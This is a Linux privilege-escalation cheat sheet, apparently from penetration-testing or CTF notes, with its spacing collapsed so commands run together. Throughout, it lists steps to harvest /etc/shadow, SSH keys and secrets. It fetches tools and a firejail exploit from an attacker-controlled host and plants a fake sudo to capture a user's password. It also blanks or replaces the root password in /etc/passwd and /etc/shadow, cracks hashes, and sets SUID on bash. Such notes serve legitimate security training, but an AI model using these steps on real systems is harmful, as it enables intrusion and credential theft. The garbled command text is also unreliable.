Privilege Escalation (PrivEsc) is the act of exploiting a bug, a design flaw, or a configuration oversight in an operating system or software application to gain elevated access to resources that are
Automation
There are some tools for investigating automatically.
After logged in the target system, don’t miss the messages. We might find interesting information.
OS Information
hostname# Aliashostname-a# DNShostname-d# IP address for the host namehostname-i# All IP address for the hosthostname-Iuname-a# Kernel releaseuname-r# Kernel versionuname-v# OSuname-o# OS kernel versioncat/proc/versioncat/etc/*release# Current userwhoamiidgroups# Environmentsenvecho $PATH# LSB (Linux Standard Base) and distribution informationlsb_release-a# Positional argumentsecho $0echo $1echo $2
Find OS/Kernel Vulnerability
If we run uname -a and get the OS version, search vulnerabilities.
Linux examplehost 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
For example above, we can search ubuntu 4.4.0-31-generic in search engines.
Interesting Information
# Bash files# If we have the write permission for .bashrc or .profile, # we can write arbitrary command to any line in that files./home/<user>/.bash_history/home/<user>/.bash_logout/home/<user>/.bashrc/home/<user>/.profile# Authentication event logscat/var/log/auth.log|grepchpasswdcat/var/log/auth.log|greprootstrings/var/log/auth.log|grepchpasswdstrings/var/log/auth.log|greproot# Apachecat/var/log/apache/access.logcat/var/log/apache/error.logcat/var/log/apache2/access.logcat/var/log/apache2/error.logcat/etc/apache2/.htpasswdcat/etc/apache2/sites-enabled/domain.confcat/etc/apache2/sites-available/domain.confcat/etc/apache2/sites-available/000-default.confcat/usr/local/apache2/conf/httpd.confls-al/usr/local/apache2/htdocs/# Nginxcat/var/log/nginx/access.logcat/var/log/nginx/error.logcat/etc/nginx/nginx.confcat/etc/nginx/conf.d/.htpasswdcat/etc/nginx/sites-available/example.com.confcat/etc/nginx/sites-enabled/example.com.confcat/usr/local/nginx/conf/nginx.confcat/usr/local/etc/nginx/nginx.conf# PHP web confcat/etc/php/x.x/apache2/php.inicat/etc/php/x.x/cli/php.inicat/etc/php/x.x/fpm/php.ini# Bash Filescat.bashrccat.bash_historycat.bash_profilecat.profilecat/var/log/bash.log# Cron jobscat/etc/cron*cat/etc/crontabcat/etc/cron.d/*cat/etc/cron.daily/*cat/etc/cron.hourly/*cat/etc/cron.monthly/*cat/etc/cron.weekly/*cat/var/spool/cron/*cat/var/spool/cron/crontabs/*# List all cron jobscrontab-lcrontab-l-uusername# Hostscat/etc/hosts# LDAP configcat/etc/ldap/ldap.conf# Messagescat/etc/issuecat/etc/motd# MySQL (MariaDB)cat/etc/mysql/my.cnfcat/etc/mysql/debian.cnfcat/etc/mysql/mariadb.cnfcat/etc/mysql/conf.d/mysql.cnfcat/etc/mysql/mysql.conf.d/mysql.cnf# Nameservercat/etc/resolv.conf# NFS settingscat/etc/exports# PAMcat/etc/pam.d/passwd# Sudo configcat/etc/sudoerscat/etc/sudoers.d/usersgroup# SSH configcat/etc/ssh/ssh_configcat/etc/ssh/sshd_config# Users and passwordscat/etc/passwdcat/etc/shadow# List of all groups on the systemcat/etc/group# File system tablecat/etc/fstab# Xpad (sensitive information e.g. user password)cat.config/xpad/*# SSH keysls-la/home/root/etc/ssh/home/*/.ssh/; locateid_rsa; locateid_dsa; find/-nameid_rsa2>/dev/null; find/-nameid_dsa2>/dev/null; find/-nameauthorized_keys2>/dev/null; cat/home/*/.ssh/id_rsa; cat/home/*/.ssh/id_dsa# Root folder of web serverls/var/www/# Sometimes, we find something...ls-la/opt/ls-la/srv/# Temporary filesls-la/dev/shm/ls-la/tmp# Servicesls-al/etc/systemd/system/ls-al/lib/systemd/system/cat/etc/inetd.conf# Mailsls-la/var/maills-la/var/spool/mail# Security policiesls-la/etc/apparmor.d/# Routing tableiprouteshow# -r: route# -n: don't resolve namenetstat-rn# Check outdated packagesaptlist--upgradableaptlist--upgradable|greppolkit
Kernel Information
# List kernel moduleslsmodcat/proc/modules# List symbols and addresses of kernel modulescat/proc/kallsyms# CPU informationcat/proc/cpuinfo# Secuirty propertieschecksec--kernel<module># e.g.checksec--kernelbzImage# Kernel logsdmesg# --human: Human readable outputdmesg--human# --follow: Wait for new messagesdmesg--follow# -f: Restrict defined facilitiesdmesg-fauthdmesg-fkerndmesg-lmaildmesg-lsyslogdmesg-fuser# -l: Restrict defined levelsdmesg-lalertdmesg-lcritdmesg-lerrdmesg-linfodmesg-luser
Open Ports
# -p: display PID/Program name for sockets# -u: udp# -n: don't resolve names# -t: tcp# -a: display all socketsnetstat-punta# Filter only LISTEN portsnetstat-punta|grep-ilisten# -l: Display listening sockets# -n: Don't resolve service names# -t: TCP only# -u: UDP onlyss-lntu# -p: Show process using socketsss-nptu
Access open ports that cannot be accessed from outside
If we discover a listen port that cannot be accessed externally as below, we can access this port by port forwarding.
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
There are various methods to do that.
Method 1. Using Socat
In remote machine, download the socat and run it.
# we need to download the socat binary file from local machinewgethttp://<local-ip>:<local-port>/socatchmod+xsocatsocattcp-listen:8090,fork,reuseaddrtcp:localhost:8080
Method 2. Using SSH Tunnel (SSH credential required)
In local machine, run the ‘ssh -L’.
ssh-L8090:localhost:8080remote-user@<remote-ip>
Now we can access to http://<remote-ip>:8090/ in local machine and actually can get the content of http://<remote-ip>:8080/.
Running Processes
lsofsudolsof# -l: List UID numberslsof-lsudolsof-l# -i: Select by IPv[46] addresslsof-i:80sudolsof-i:80lsof-i:443sudolsof-i:443# Display the currently-running processes.pspsauxpsaux|grepping# If the right side of the result is cut off, pipe with cat command.psaux|catpsaux|cat|grepping
By using pspy, you can fetch processes without root privileges.
./pspy64# -p: print commands to stdout# -f: print file system events to stdout# -i: interval in milliseconds./pspy64-pf-i1000
Dump Information
If some process (like ping) is running as root, you may be able to capture the interesting information using tcpdump.
# -i lo: specify interface (lo: loopback address, localhost)# -A: print each packet in ASCIItcpdump-ilo-A
Override Command
If some command is executed in processes as our current user, we can override the command to our arbitrary command.
Assume sudo cat /etc/shadow command is executed in the process.
sudo command asks the password of the current user. So if we don't have the current user's password yet, worth getting the password.
To do so, we can create the fake sudo command under the current user’s home directory.
In addition, we need to export the /home/<user>/bin to the PATH on the top of the /home/<user>/.bashrc.
export PATH=/home/<user>/bin:$PATH
Wait a while, we should see the “password.txt” is created.
catpassword.txt
Now we get the current user password.
Process Tracing
Sometimes we can retrieve the sensitive information by reading sequential processes with stract.
strace-eread-p`ps-ef|grepphp|awk '{print $2}'`
Running Services
To list all running services in Linux, use the following command.
systemctl--type=service--state=running
Service Logs
Using journalctl, we can see logs of services running on systemd.
# All logsjournalctl# Current bootjournalctl-b# Kernel messages from bootjournalctl-k# Recenct logs# -e: Jump to the end in the pager# -x: Detailsjournalctl-ejournalctl-ex# Shog logs from specified unitjournalctl-uhttpdjournalctl-usshd
Sensitive Files with Given Keywords
The "find" command searches files in the real system.
find/-name"*.txt"2>/dev/nullfind/opt-name"*.txt"2>/dev/nullfind/-name"passwd"2>/dev/nullfind/-name"authorized_keys"2>/dev/nullfind/-name"users"2>/dev/nullfind/-name"*user*"2>/dev/nullfind/-name"secret.key"-or-name"secret"2>/dev/nullfind/-name"credential*.txt"2>/dev/nullfind/-name"*secret*"-or-name"*credential*"2>/dev/nullfind/-name"*root*"-or-name"*password*"2>/dev/nullfind/-name"*.key"-or-name"*.db"2>/dev/nullfind/-name"*data*"2>/dev/nullfind/-name".env"2>/dev/nullfind/-name"*flag*"2>/dev/null# SQL filesfind/-name"*.sql"2>/dev/nullstringsexample.sql# Backup files may contain sensitive informationfind/-name"*backup*"2>/dev/nullfind/-name"*.bak*"2>/dev/nullfind/-name"*.back*"2>/dev/nullfind/-name"*.old"2>/dev/null# Historiesfind/-name"*history*"2>/dev/null# Backup files for /etc/shadow.# ex. /var/shadow.bakfind/-name*shadow*2>/dev/null# Kerberosfind/-name"*.keytab"2>/dev/null# ----------------------------------------# Find more faster than `find` command.locatedatalocateflaglocateflag*.txtlocate*flag*locatepasswordlocate*password*locate*save*locate*save.txtlocateuser.txtlocateuser*locate*user*locateroot.txtlocate*root*locate.dblocate.txt
Exclude Path
We can exclude specific directory with -not -path option of find command.
find/-name"*.txt"-not-path"/usr/share"2>/dev/null
SUID/SGID (Set User ID/ Set Group ID)
It allows users to run an executable as root privilege.
# Download it in local machinewgethttps://www.openwall.com/lists/oss-security/2022/06/08/10/1-Oexploit.py# Transfer it to target machinewgethttp://<local-ip>:8000/exploit.pypython3exploit.py&firejail--join=<PID>su-
Writable Directories & Files
# Writable directoriesfind/-writable2>/dev/null|cut-d"/"-f2,3|sort-u# System service filesfind/-writable-name"*.service"2>/dev/null
Capabilities
To find files that are set capabilities.
getcap-r/2>/dev/null
cap_chown
First we need to check the current user id by executing 'id' command.
If we have write permission of /etc/passwd by some means, we can modify this file as desired for us. First check the content of that file with cat /etc/passwd.
root:x:0:0:root:/root:/bin/sh...
By removing this x character in the root line, we can become root without password. Below
root::0:0:root:/root:/bin/sh...
After that, we can get a shell as root using the following command.
suroot
/etc/shadow
If we have write permission of /etc/shadow by some means, we can modify the password for each user.
First of all, create a new password using openssl.
# -6: sha512 algorithm# password: this is the root passwordopensslpasswd-6salt=saltpassword# output$6$salt$IxDD3jeSOb5eB1CX5LBsqZFVkJdido3OUILO5Ifz5iwMuTS4XMS130MTSuDDl3aCI6WouIL9AjRbLCelDCy.g.
After generating the hash, update the root password hash to this hash ($6$salt$I…) in /etc/shadow.
Now we can get a shell as root with the password "password".
suroot# password: password
Sensitive Contents in Files
# -r: recursive# -n: line number# -i: ignore casegrep-rniroot./grep-rnipassword./grep-rnipasswd./grep-rnidb_password./grep-rnidb_passwd./# Find user's informationgrep-rniroot./grep-rnijohn./# -e: OR Searchinggrep-readmin-reroot-recredential-repassword./grep-resecret-rekey./# -v: Excludegrep-rnipassword-vnode_modules./# -E: regexgrep-riE'flag{.*}'./# IP Address Searchinggrep-rE-o"([0-9]{1,3}[\.]){3}[0-9]{1,3}"./# -h: no output filenamesgrep-hroot./
Disks (Drives)
List disks information on the target system.
# Find mounted foldersfindmnt# List information about block driveslsblk# orfdisk-l# orls-al/dev|grepdisk# --------------------------------------------------# Result examplesNAMEMAJ:MINRMSIZEROTYPEMOUNTPOINTxvda202:0040G0disk└─xvda1202:1040G0part/etc/hosts
If we find the drives, we can mount it.
mkdir-p/mnt/tmpmount/dev/xvda1/mnt/tmp
Crack User Passwords
If we can access /etc/passwd and /etc/shadow as well, we can crack user passwords using unshadow and John The Ripper.
john--wordlist=wordlist.txtpasswords.txt# If the hash in /etc/shadow contains the $y$ prefix, specify the hash format to "crypt".# btw, $ye$ is the scheme of the yescrypt.john--format=crypt--wordlist=wordlist.txtpasswords.txt
Execute Commands as Root Privilege
Change Shebang in Shell Script
Add "-p" option at the first line to execute the script as root privilege.
#!/bin/bash -pwhoami
Use the Set User ID (SUID)
If you can change permission of the /bin/bash , add SUID to the file.
chmod4755/bin/bash
Then you execute it as root privilege by adding "-p" option.
You'll be able to pwn the target shell.